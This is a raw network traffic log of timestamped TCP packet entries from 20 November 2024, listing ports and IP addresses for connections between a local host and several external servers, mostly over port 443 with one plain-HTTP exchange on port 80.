Nov 20, 2024 08:09:20.370546103 CET	49775	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:20.370573044 CET	443	49775	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:20.370680094 CET	49766	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:20.370723963 CET	443	49766	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:20.370738983 CET	49766	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:20.370747089 CET	443	49766	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:20.371934891 CET	49768	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:20.371948957 CET	443	49768	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:20.371994019 CET	49768	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:20.372005939 CET	443	49768	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:20.399012089 CET	49776	443	192.168.2.5	162.159.61.3
Nov 20, 2024 08:09:20.399063110 CET	443	49776	162.159.61.3	192.168.2.5
Nov 20, 2024 08:09:20.399126053 CET	49776	443	192.168.2.5	162.159.61.3
Nov 20, 2024 08:09:20.399736881 CET	49777	443	192.168.2.5	172.64.41.3
Nov 20, 2024 08:09:20.399764061 CET	443	49777	172.64.41.3	192.168.2.5
Nov 20, 2024 08:09:20.399907112 CET	49777	443	192.168.2.5	172.64.41.3
Nov 20, 2024 08:09:20.400221109 CET	49776	443	192.168.2.5	162.159.61.3
Nov 20, 2024 08:09:20.400233984 CET	443	49776	162.159.61.3	192.168.2.5
Nov 20, 2024 08:09:20.400401115 CET	49777	443	192.168.2.5	172.64.41.3
Nov 20, 2024 08:09:20.400413990 CET	443	49777	172.64.41.3	192.168.2.5
Nov 20, 2024 08:09:20.408181906 CET	49779	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:20.408215046 CET	443	49779	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:20.409107924 CET	49779	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:20.424766064 CET	49780	443	192.168.2.5	172.64.41.3
Nov 20, 2024 08:09:20.424813986 CET	443	49780	172.64.41.3	192.168.2.5
Nov 20, 2024 08:09:20.424886942 CET	49780	443	192.168.2.5	172.64.41.3
Nov 20, 2024 08:09:20.425844908 CET	49780	443	192.168.2.5	172.64.41.3
Nov 20, 2024 08:09:20.425868034 CET	443	49780	172.64.41.3	192.168.2.5
Nov 20, 2024 08:09:20.463588953 CET	49744	443	192.168.2.5	40.126.32.136
Nov 20, 2024 08:09:20.463620901 CET	443	49744	40.126.32.136	192.168.2.5
Nov 20, 2024 08:09:20.463958025 CET	443	49744	40.126.32.136	192.168.2.5
Nov 20, 2024 08:09:20.467106104 CET	49744	443	192.168.2.5	40.126.32.136
Nov 20, 2024 08:09:20.467149973 CET	49744	443	192.168.2.5	40.126.32.136
Nov 20, 2024 08:09:20.467192888 CET	443	49744	40.126.32.136	192.168.2.5
Nov 20, 2024 08:09:20.488120079 CET	49781	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:20.488187075 CET	443	49781	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:20.488259077 CET	49781	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:20.488676071 CET	49779	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:20.488689899 CET	443	49779	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:20.499058008 CET	49750	443	192.168.2.5	172.202.163.200
Nov 20, 2024 08:09:20.500996113 CET	49781	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:20.501013994 CET	443	49781	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:20.507735968 CET	49782	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:20.507776022 CET	443	49782	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:20.507992983 CET	49782	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:20.507992983 CET	49782	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:20.508039951 CET	443	49782	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:20.514560938 CET	443	49770	216.58.206.33	192.168.2.5
Nov 20, 2024 08:09:20.514605045 CET	443	49770	216.58.206.33	192.168.2.5
Nov 20, 2024 08:09:20.514631033 CET	49770	443	192.168.2.5	216.58.206.33
Nov 20, 2024 08:09:20.514647007 CET	443	49770	216.58.206.33	192.168.2.5
Nov 20, 2024 08:09:20.514714003 CET	49770	443	192.168.2.5	216.58.206.33
Nov 20, 2024 08:09:20.517183065 CET	443	49770	216.58.206.33	192.168.2.5
Nov 20, 2024 08:09:20.520139933 CET	49783	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:20.520188093 CET	443	49783	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:20.520242929 CET	49783	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:20.523698092 CET	443	49770	216.58.206.33	192.168.2.5
Nov 20, 2024 08:09:20.523732901 CET	443	49770	216.58.206.33	192.168.2.5
Nov 20, 2024 08:09:20.524027109 CET	49770	443	192.168.2.5	216.58.206.33
Nov 20, 2024 08:09:20.524046898 CET	443	49770	216.58.206.33	192.168.2.5
Nov 20, 2024 08:09:20.524221897 CET	49770	443	192.168.2.5	216.58.206.33
Nov 20, 2024 08:09:20.530272961 CET	49783	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:20.530298948 CET	443	49783	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:20.535864115 CET	443	49770	216.58.206.33	192.168.2.5
Nov 20, 2024 08:09:20.536086082 CET	443	49770	216.58.206.33	192.168.2.5
Nov 20, 2024 08:09:20.536114931 CET	443	49770	216.58.206.33	192.168.2.5
Nov 20, 2024 08:09:20.536133051 CET	49770	443	192.168.2.5	216.58.206.33
Nov 20, 2024 08:09:20.536144972 CET	443	49770	216.58.206.33	192.168.2.5
Nov 20, 2024 08:09:20.536276102 CET	49770	443	192.168.2.5	216.58.206.33
Nov 20, 2024 08:09:20.539335012 CET	443	49750	172.202.163.200	192.168.2.5
Nov 20, 2024 08:09:20.542273045 CET	443	49770	216.58.206.33	192.168.2.5
Nov 20, 2024 08:09:20.548510075 CET	443	49770	216.58.206.33	192.168.2.5
Nov 20, 2024 08:09:20.548543930 CET	443	49770	216.58.206.33	192.168.2.5
Nov 20, 2024 08:09:20.548589945 CET	49770	443	192.168.2.5	216.58.206.33
Nov 20, 2024 08:09:20.548599958 CET	443	49770	216.58.206.33	192.168.2.5
Nov 20, 2024 08:09:20.548885107 CET	49770	443	192.168.2.5	216.58.206.33
Nov 20, 2024 08:09:20.554641008 CET	443	49770	216.58.206.33	192.168.2.5
Nov 20, 2024 08:09:20.602705956 CET	443	49770	216.58.206.33	192.168.2.5
Nov 20, 2024 08:09:20.602741003 CET	443	49770	216.58.206.33	192.168.2.5
Nov 20, 2024 08:09:20.602833033 CET	443	49770	216.58.206.33	192.168.2.5
Nov 20, 2024 08:09:20.602849007 CET	49770	443	192.168.2.5	216.58.206.33
Nov 20, 2024 08:09:20.602859020 CET	443	49770	216.58.206.33	192.168.2.5
Nov 20, 2024 08:09:20.603169918 CET	49770	443	192.168.2.5	216.58.206.33
Nov 20, 2024 08:09:20.609206915 CET	443	49770	216.58.206.33	192.168.2.5
Nov 20, 2024 08:09:20.609261990 CET	49770	443	192.168.2.5	216.58.206.33
Nov 20, 2024 08:09:20.609277010 CET	443	49770	216.58.206.33	192.168.2.5
Nov 20, 2024 08:09:20.615510941 CET	443	49770	216.58.206.33	192.168.2.5
Nov 20, 2024 08:09:20.615556002 CET	443	49770	216.58.206.33	192.168.2.5
Nov 20, 2024 08:09:20.615879059 CET	49770	443	192.168.2.5	216.58.206.33
Nov 20, 2024 08:09:20.615886927 CET	443	49770	216.58.206.33	192.168.2.5
Nov 20, 2024 08:09:20.616413116 CET	49770	443	192.168.2.5	216.58.206.33
Nov 20, 2024 08:09:20.621788025 CET	443	49770	216.58.206.33	192.168.2.5
Nov 20, 2024 08:09:20.628156900 CET	443	49770	216.58.206.33	192.168.2.5
Nov 20, 2024 08:09:20.628210068 CET	443	49770	216.58.206.33	192.168.2.5
Nov 20, 2024 08:09:20.628230095 CET	49770	443	192.168.2.5	216.58.206.33
Nov 20, 2024 08:09:20.628252029 CET	443	49770	216.58.206.33	192.168.2.5
Nov 20, 2024 08:09:20.628767014 CET	49770	443	192.168.2.5	216.58.206.33
Nov 20, 2024 08:09:20.631339073 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:20.634198904 CET	443	49770	216.58.206.33	192.168.2.5
Nov 20, 2024 08:09:20.636224985 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:20.640479088 CET	443	49770	216.58.206.33	192.168.2.5
Nov 20, 2024 08:09:20.640543938 CET	49770	443	192.168.2.5	216.58.206.33
Nov 20, 2024 08:09:20.640567064 CET	443	49770	216.58.206.33	192.168.2.5
Nov 20, 2024 08:09:20.646845102 CET	443	49770	216.58.206.33	192.168.2.5
Nov 20, 2024 08:09:20.646891117 CET	443	49770	216.58.206.33	192.168.2.5
Nov 20, 2024 08:09:20.647028923 CET	49770	443	192.168.2.5	216.58.206.33
Nov 20, 2024 08:09:20.647042990 CET	443	49770	216.58.206.33	192.168.2.5
Nov 20, 2024 08:09:20.647526979 CET	49770	443	192.168.2.5	216.58.206.33
Nov 20, 2024 08:09:20.652621031 CET	443	49770	216.58.206.33	192.168.2.5
Nov 20, 2024 08:09:20.657843113 CET	443	49770	216.58.206.33	192.168.2.5
Nov 20, 2024 08:09:20.657937050 CET	443	49770	216.58.206.33	192.168.2.5
Nov 20, 2024 08:09:20.658020973 CET	49770	443	192.168.2.5	216.58.206.33
Nov 20, 2024 08:09:20.658035040 CET	443	49770	216.58.206.33	192.168.2.5
Nov 20, 2024 08:09:20.658658981 CET	49770	443	192.168.2.5	216.58.206.33
Nov 20, 2024 08:09:20.663541079 CET	443	49770	216.58.206.33	192.168.2.5
Nov 20, 2024 08:09:20.668724060 CET	443	49770	216.58.206.33	192.168.2.5
Nov 20, 2024 08:09:20.668767929 CET	443	49770	216.58.206.33	192.168.2.5
Nov 20, 2024 08:09:20.670322895 CET	49770	443	192.168.2.5	216.58.206.33
Nov 20, 2024 08:09:20.670332909 CET	443	49770	216.58.206.33	192.168.2.5
Nov 20, 2024 08:09:20.670464039 CET	49770	443	192.168.2.5	216.58.206.33
Nov 20, 2024 08:09:20.674319029 CET	443	49770	216.58.206.33	192.168.2.5
Nov 20, 2024 08:09:20.679516077 CET	443	49770	216.58.206.33	192.168.2.5
Nov 20, 2024 08:09:20.679553032 CET	443	49770	216.58.206.33	192.168.2.5
Nov 20, 2024 08:09:20.679670095 CET	49770	443	192.168.2.5	216.58.206.33
Nov 20, 2024 08:09:20.679694891 CET	443	49770	216.58.206.33	192.168.2.5
Nov 20, 2024 08:09:20.679902077 CET	49770	443	192.168.2.5	216.58.206.33
Nov 20, 2024 08:09:20.685118914 CET	443	49770	216.58.206.33	192.168.2.5
Nov 20, 2024 08:09:20.690310955 CET	443	49770	216.58.206.33	192.168.2.5
Nov 20, 2024 08:09:20.690359116 CET	49770	443	192.168.2.5	216.58.206.33
Nov 20, 2024 08:09:20.690398932 CET	443	49770	216.58.206.33	192.168.2.5
Nov 20, 2024 08:09:20.694441080 CET	443	49770	216.58.206.33	192.168.2.5
Nov 20, 2024 08:09:20.694521904 CET	49770	443	192.168.2.5	216.58.206.33
Nov 20, 2024 08:09:20.694531918 CET	443	49770	216.58.206.33	192.168.2.5
Nov 20, 2024 08:09:20.698167086 CET	443	49770	216.58.206.33	192.168.2.5
Nov 20, 2024 08:09:20.698219061 CET	443	49770	216.58.206.33	192.168.2.5
Nov 20, 2024 08:09:20.698242903 CET	49770	443	192.168.2.5	216.58.206.33
Nov 20, 2024 08:09:20.698256969 CET	443	49770	216.58.206.33	192.168.2.5
Nov 20, 2024 08:09:20.698354959 CET	49770	443	192.168.2.5	216.58.206.33
Nov 20, 2024 08:09:20.702029943 CET	443	49770	216.58.206.33	192.168.2.5
Nov 20, 2024 08:09:20.705303907 CET	443	49770	216.58.206.33	192.168.2.5
Nov 20, 2024 08:09:20.705389977 CET	443	49770	216.58.206.33	192.168.2.5
Nov 20, 2024 08:09:20.705462933 CET	49770	443	192.168.2.5	216.58.206.33
Nov 20, 2024 08:09:20.705471039 CET	443	49770	216.58.206.33	192.168.2.5
Nov 20, 2024 08:09:20.705517054 CET	49770	443	192.168.2.5	216.58.206.33
Nov 20, 2024 08:09:20.708858967 CET	443	49770	216.58.206.33	192.168.2.5
Nov 20, 2024 08:09:20.712244987 CET	443	49770	216.58.206.33	192.168.2.5
Nov 20, 2024 08:09:20.712284088 CET	49770	443	192.168.2.5	216.58.206.33
Nov 20, 2024 08:09:20.712290049 CET	443	49770	216.58.206.33	192.168.2.5
Nov 20, 2024 08:09:20.715816975 CET	443	49770	216.58.206.33	192.168.2.5
Nov 20, 2024 08:09:20.715917110 CET	443	49770	216.58.206.33	192.168.2.5
Nov 20, 2024 08:09:20.715971947 CET	49770	443	192.168.2.5	216.58.206.33
Nov 20, 2024 08:09:20.715991020 CET	443	49770	216.58.206.33	192.168.2.5
Nov 20, 2024 08:09:20.716053963 CET	49770	443	192.168.2.5	216.58.206.33
Nov 20, 2024 08:09:20.719440937 CET	443	49770	216.58.206.33	192.168.2.5
Nov 20, 2024 08:09:20.722759008 CET	443	49770	216.58.206.33	192.168.2.5
Nov 20, 2024 08:09:20.722811937 CET	443	49770	216.58.206.33	192.168.2.5
Nov 20, 2024 08:09:20.722815990 CET	49770	443	192.168.2.5	216.58.206.33
Nov 20, 2024 08:09:20.722829103 CET	443	49770	216.58.206.33	192.168.2.5
Nov 20, 2024 08:09:20.722872019 CET	49770	443	192.168.2.5	216.58.206.33
Nov 20, 2024 08:09:20.726402998 CET	443	49770	216.58.206.33	192.168.2.5
Nov 20, 2024 08:09:20.729542971 CET	443	49770	216.58.206.33	192.168.2.5
Nov 20, 2024 08:09:20.729626894 CET	443	49770	216.58.206.33	192.168.2.5
Nov 20, 2024 08:09:20.729681015 CET	49770	443	192.168.2.5	216.58.206.33
Nov 20, 2024 08:09:20.729688883 CET	443	49770	216.58.206.33	192.168.2.5
Nov 20, 2024 08:09:20.729742050 CET	49770	443	192.168.2.5	216.58.206.33
Nov 20, 2024 08:09:20.733099937 CET	443	49770	216.58.206.33	192.168.2.5
Nov 20, 2024 08:09:20.734402895 CET	443	49750	172.202.163.200	192.168.2.5
Nov 20, 2024 08:09:20.734431028 CET	443	49750	172.202.163.200	192.168.2.5
Nov 20, 2024 08:09:20.734442949 CET	443	49750	172.202.163.200	192.168.2.5
Nov 20, 2024 08:09:20.734458923 CET	443	49750	172.202.163.200	192.168.2.5
Nov 20, 2024 08:09:20.734467983 CET	443	49750	172.202.163.200	192.168.2.5
Nov 20, 2024 08:09:20.734476089 CET	443	49750	172.202.163.200	192.168.2.5
Nov 20, 2024 08:09:20.734515905 CET	49750	443	192.168.2.5	172.202.163.200
Nov 20, 2024 08:09:20.734549999 CET	443	49750	172.202.163.200	192.168.2.5
Nov 20, 2024 08:09:20.734591007 CET	49750	443	192.168.2.5	172.202.163.200
Nov 20, 2024 08:09:20.734591007 CET	49750	443	192.168.2.5	172.202.163.200
Nov 20, 2024 08:09:20.735053062 CET	443	49750	172.202.163.200	192.168.2.5
Nov 20, 2024 08:09:20.735064983 CET	443	49750	172.202.163.200	192.168.2.5
Nov 20, 2024 08:09:20.735093117 CET	443	49750	172.202.163.200	192.168.2.5
Nov 20, 2024 08:09:20.735122919 CET	49750	443	192.168.2.5	172.202.163.200
Nov 20, 2024 08:09:20.735467911 CET	443	49750	172.202.163.200	192.168.2.5
Nov 20, 2024 08:09:20.735512018 CET	49750	443	192.168.2.5	172.202.163.200
Nov 20, 2024 08:09:20.735512018 CET	49750	443	192.168.2.5	172.202.163.200
Nov 20, 2024 08:09:20.736557961 CET	443	49770	216.58.206.33	192.168.2.5
Nov 20, 2024 08:09:20.736623049 CET	443	49770	216.58.206.33	192.168.2.5
Nov 20, 2024 08:09:20.736718893 CET	49770	443	192.168.2.5	216.58.206.33
Nov 20, 2024 08:09:20.736728907 CET	443	49770	216.58.206.33	192.168.2.5
Nov 20, 2024 08:09:20.736761093 CET	49770	443	192.168.2.5	216.58.206.33
Nov 20, 2024 08:09:20.740407944 CET	443	49770	216.58.206.33	192.168.2.5
Nov 20, 2024 08:09:20.743490934 CET	443	49770	216.58.206.33	192.168.2.5
Nov 20, 2024 08:09:20.743544102 CET	443	49770	216.58.206.33	192.168.2.5
Nov 20, 2024 08:09:20.743597984 CET	49770	443	192.168.2.5	216.58.206.33
Nov 20, 2024 08:09:20.743604898 CET	443	49770	216.58.206.33	192.168.2.5
Nov 20, 2024 08:09:20.743654966 CET	49770	443	192.168.2.5	216.58.206.33
Nov 20, 2024 08:09:20.746937990 CET	443	49770	216.58.206.33	192.168.2.5
Nov 20, 2024 08:09:20.750435114 CET	443	49770	216.58.206.33	192.168.2.5
Nov 20, 2024 08:09:20.750484943 CET	443	49770	216.58.206.33	192.168.2.5
Nov 20, 2024 08:09:20.750488043 CET	49770	443	192.168.2.5	216.58.206.33
Nov 20, 2024 08:09:20.750498056 CET	443	49770	216.58.206.33	192.168.2.5
Nov 20, 2024 08:09:20.750569105 CET	49770	443	192.168.2.5	216.58.206.33
Nov 20, 2024 08:09:20.753849983 CET	443	49770	216.58.206.33	192.168.2.5
Nov 20, 2024 08:09:20.757323980 CET	443	49770	216.58.206.33	192.168.2.5
Nov 20, 2024 08:09:20.757378101 CET	443	49770	216.58.206.33	192.168.2.5
Nov 20, 2024 08:09:20.757437944 CET	49770	443	192.168.2.5	216.58.206.33
Nov 20, 2024 08:09:20.757445097 CET	443	49770	216.58.206.33	192.168.2.5
Nov 20, 2024 08:09:20.757575035 CET	49770	443	192.168.2.5	216.58.206.33
Nov 20, 2024 08:09:20.760622025 CET	443	49770	216.58.206.33	192.168.2.5
Nov 20, 2024 08:09:20.763957977 CET	443	49770	216.58.206.33	192.168.2.5
Nov 20, 2024 08:09:20.764029026 CET	443	49770	216.58.206.33	192.168.2.5
Nov 20, 2024 08:09:20.764066935 CET	49770	443	192.168.2.5	216.58.206.33
Nov 20, 2024 08:09:20.764072895 CET	443	49770	216.58.206.33	192.168.2.5
Nov 20, 2024 08:09:20.764209986 CET	49770	443	192.168.2.5	216.58.206.33
Nov 20, 2024 08:09:20.767121077 CET	443	49770	216.58.206.33	192.168.2.5
Nov 20, 2024 08:09:20.770165920 CET	443	49770	216.58.206.33	192.168.2.5
Nov 20, 2024 08:09:20.770204067 CET	443	49770	216.58.206.33	192.168.2.5
Nov 20, 2024 08:09:20.770251036 CET	443	49770	216.58.206.33	192.168.2.5
Nov 20, 2024 08:09:20.770380974 CET	49770	443	192.168.2.5	216.58.206.33
Nov 20, 2024 08:09:20.770400047 CET	443	49770	216.58.206.33	192.168.2.5
Nov 20, 2024 08:09:20.770447016 CET	49770	443	192.168.2.5	216.58.206.33
Nov 20, 2024 08:09:20.773282051 CET	443	49770	216.58.206.33	192.168.2.5
Nov 20, 2024 08:09:20.773335934 CET	49770	443	192.168.2.5	216.58.206.33
Nov 20, 2024 08:09:20.773391008 CET	443	49770	216.58.206.33	192.168.2.5
Nov 20, 2024 08:09:20.776448965 CET	443	49770	216.58.206.33	192.168.2.5
Nov 20, 2024 08:09:20.776510000 CET	443	49770	216.58.206.33	192.168.2.5
Nov 20, 2024 08:09:20.776537895 CET	49770	443	192.168.2.5	216.58.206.33
Nov 20, 2024 08:09:20.776546001 CET	443	49770	216.58.206.33	192.168.2.5
Nov 20, 2024 08:09:20.776598930 CET	49770	443	192.168.2.5	216.58.206.33
Nov 20, 2024 08:09:20.776613951 CET	443	49770	216.58.206.33	192.168.2.5
Nov 20, 2024 08:09:20.776714087 CET	49770	443	192.168.2.5	216.58.206.33
Nov 20, 2024 08:09:20.776828051 CET	49770	443	192.168.2.5	216.58.206.33
Nov 20, 2024 08:09:20.776843071 CET	443	49770	216.58.206.33	192.168.2.5
Nov 20, 2024 08:09:20.776885033 CET	49770	443	192.168.2.5	216.58.206.33
Nov 20, 2024 08:09:20.776885033 CET	49770	443	192.168.2.5	216.58.206.33
Nov 20, 2024 08:09:20.851286888 CET	443	49744	40.126.32.136	192.168.2.5
Nov 20, 2024 08:09:20.851391077 CET	443	49744	40.126.32.136	192.168.2.5
Nov 20, 2024 08:09:20.851564884 CET	49744	443	192.168.2.5	40.126.32.136
Nov 20, 2024 08:09:20.851876974 CET	49744	443	192.168.2.5	40.126.32.136
Nov 20, 2024 08:09:20.851931095 CET	443	49744	40.126.32.136	192.168.2.5
Nov 20, 2024 08:09:20.851977110 CET	49744	443	192.168.2.5	40.126.32.136
Nov 20, 2024 08:09:20.851994991 CET	443	49744	40.126.32.136	192.168.2.5
Nov 20, 2024 08:09:20.871627092 CET	443	49777	172.64.41.3	192.168.2.5
Nov 20, 2024 08:09:20.871700048 CET	443	49776	162.159.61.3	192.168.2.5
Nov 20, 2024 08:09:20.872231007 CET	49776	443	192.168.2.5	162.159.61.3
Nov 20, 2024 08:09:20.872273922 CET	443	49776	162.159.61.3	192.168.2.5
Nov 20, 2024 08:09:20.872454882 CET	49777	443	192.168.2.5	172.64.41.3
Nov 20, 2024 08:09:20.872469902 CET	443	49777	172.64.41.3	192.168.2.5
Nov 20, 2024 08:09:20.873353958 CET	443	49776	162.159.61.3	192.168.2.5
Nov 20, 2024 08:09:20.873439074 CET	49776	443	192.168.2.5	162.159.61.3
Nov 20, 2024 08:09:20.873697996 CET	443	49777	172.64.41.3	192.168.2.5
Nov 20, 2024 08:09:20.873768091 CET	49777	443	192.168.2.5	172.64.41.3
Nov 20, 2024 08:09:20.875068903 CET	49776	443	192.168.2.5	162.159.61.3
Nov 20, 2024 08:09:20.875184059 CET	443	49776	162.159.61.3	192.168.2.5
Nov 20, 2024 08:09:20.876312971 CET	49776	443	192.168.2.5	162.159.61.3
Nov 20, 2024 08:09:20.876333952 CET	443	49776	162.159.61.3	192.168.2.5
Nov 20, 2024 08:09:20.876524925 CET	49777	443	192.168.2.5	172.64.41.3
Nov 20, 2024 08:09:20.876604080 CET	443	49777	172.64.41.3	192.168.2.5
Nov 20, 2024 08:09:20.876609087 CET	49777	443	192.168.2.5	172.64.41.3
Nov 20, 2024 08:09:20.905574083 CET	443	49780	172.64.41.3	192.168.2.5
Nov 20, 2024 08:09:20.914444923 CET	49780	443	192.168.2.5	172.64.41.3
Nov 20, 2024 08:09:20.914457083 CET	443	49780	172.64.41.3	192.168.2.5
Nov 20, 2024 08:09:20.915735960 CET	443	49780	172.64.41.3	192.168.2.5
Nov 20, 2024 08:09:20.915813923 CET	49780	443	192.168.2.5	172.64.41.3
Nov 20, 2024 08:09:20.917126894 CET	49780	443	192.168.2.5	172.64.41.3
Nov 20, 2024 08:09:20.917263031 CET	443	49780	172.64.41.3	192.168.2.5
Nov 20, 2024 08:09:20.917650938 CET	49780	443	192.168.2.5	172.64.41.3
Nov 20, 2024 08:09:20.917665958 CET	443	49780	172.64.41.3	192.168.2.5
Nov 20, 2024 08:09:20.919332027 CET	443	49777	172.64.41.3	192.168.2.5
Nov 20, 2024 08:09:20.943017960 CET	49788	443	192.168.2.5	40.126.32.136
Nov 20, 2024 08:09:20.943056107 CET	443	49788	40.126.32.136	192.168.2.5
Nov 20, 2024 08:09:20.943149090 CET	49788	443	192.168.2.5	40.126.32.136
Nov 20, 2024 08:09:20.943950891 CET	49788	443	192.168.2.5	40.126.32.136
Nov 20, 2024 08:09:20.943964005 CET	443	49788	40.126.32.136	192.168.2.5
Nov 20, 2024 08:09:21.001247883 CET	443	49777	172.64.41.3	192.168.2.5
Nov 20, 2024 08:09:21.001318932 CET	49777	443	192.168.2.5	172.64.41.3
Nov 20, 2024 08:09:21.003179073 CET	443	49776	162.159.61.3	192.168.2.5
Nov 20, 2024 08:09:21.003626108 CET	49776	443	192.168.2.5	162.159.61.3
Nov 20, 2024 08:09:21.004137039 CET	49776	443	192.168.2.5	162.159.61.3
Nov 20, 2024 08:09:21.004163027 CET	443	49776	162.159.61.3	192.168.2.5
Nov 20, 2024 08:09:21.004766941 CET	49777	443	192.168.2.5	172.64.41.3
Nov 20, 2024 08:09:21.004779100 CET	443	49777	172.64.41.3	192.168.2.5
Nov 20, 2024 08:09:21.010790110 CET	49789	443	192.168.2.5	40.126.32.136
Nov 20, 2024 08:09:21.010814905 CET	443	49789	40.126.32.136	192.168.2.5
Nov 20, 2024 08:09:21.011029959 CET	49789	443	192.168.2.5	40.126.32.136
Nov 20, 2024 08:09:21.011264086 CET	49789	443	192.168.2.5	40.126.32.136
Nov 20, 2024 08:09:21.011281013 CET	443	49789	40.126.32.136	192.168.2.5
Nov 20, 2024 08:09:21.047013998 CET	443	49780	172.64.41.3	192.168.2.5
Nov 20, 2024 08:09:21.047123909 CET	49780	443	192.168.2.5	172.64.41.3
Nov 20, 2024 08:09:21.047460079 CET	49780	443	192.168.2.5	172.64.41.3
Nov 20, 2024 08:09:21.047477961 CET	443	49780	172.64.41.3	192.168.2.5
Nov 20, 2024 08:09:21.048048019 CET	443	49775	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:21.050177097 CET	49775	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:21.050194979 CET	443	49775	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:21.050688982 CET	49775	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:21.050703049 CET	443	49775	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:21.136574984 CET	443	49779	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:21.137207985 CET	49779	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:21.137233019 CET	443	49779	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:21.137248993 CET	443	49781	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:21.137680054 CET	49779	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:21.137686014 CET	443	49779	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:21.139812946 CET	49781	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:21.139848948 CET	443	49781	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:21.140233040 CET	49781	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:21.140244007 CET	443	49781	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:21.153054953 CET	443	49775	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:21.153132915 CET	443	49775	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:21.153382063 CET	49775	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:21.153579950 CET	49775	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:21.153579950 CET	49775	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:21.153601885 CET	443	49775	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:21.153613091 CET	443	49775	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:21.157273054 CET	49791	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:21.157325029 CET	443	49791	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:21.157398939 CET	49791	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:21.157526970 CET	49791	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:21.157542944 CET	443	49791	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:21.163212061 CET	443	49782	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:21.167319059 CET	49782	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:21.167345047 CET	443	49782	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:21.167714119 CET	49782	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:21.167721033 CET	443	49782	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:21.170130968 CET	443	49783	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:21.170468092 CET	49783	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:21.170506001 CET	443	49783	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:21.170875072 CET	49783	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:21.170886040 CET	443	49783	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:21.237988949 CET	443	49779	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:21.238053083 CET	443	49779	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:21.238131046 CET	49779	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:21.240586996 CET	443	49781	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:21.240670919 CET	443	49781	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:21.240722895 CET	49781	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:21.264766932 CET	443	49782	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:21.264843941 CET	443	49782	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:21.264928102 CET	49782	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:21.271119118 CET	443	49783	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:21.271198034 CET	443	49783	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:21.271362066 CET	49783	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:21.344105959 CET	49779	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:21.344105959 CET	49779	443	192.168.2.5	13.107.246.45
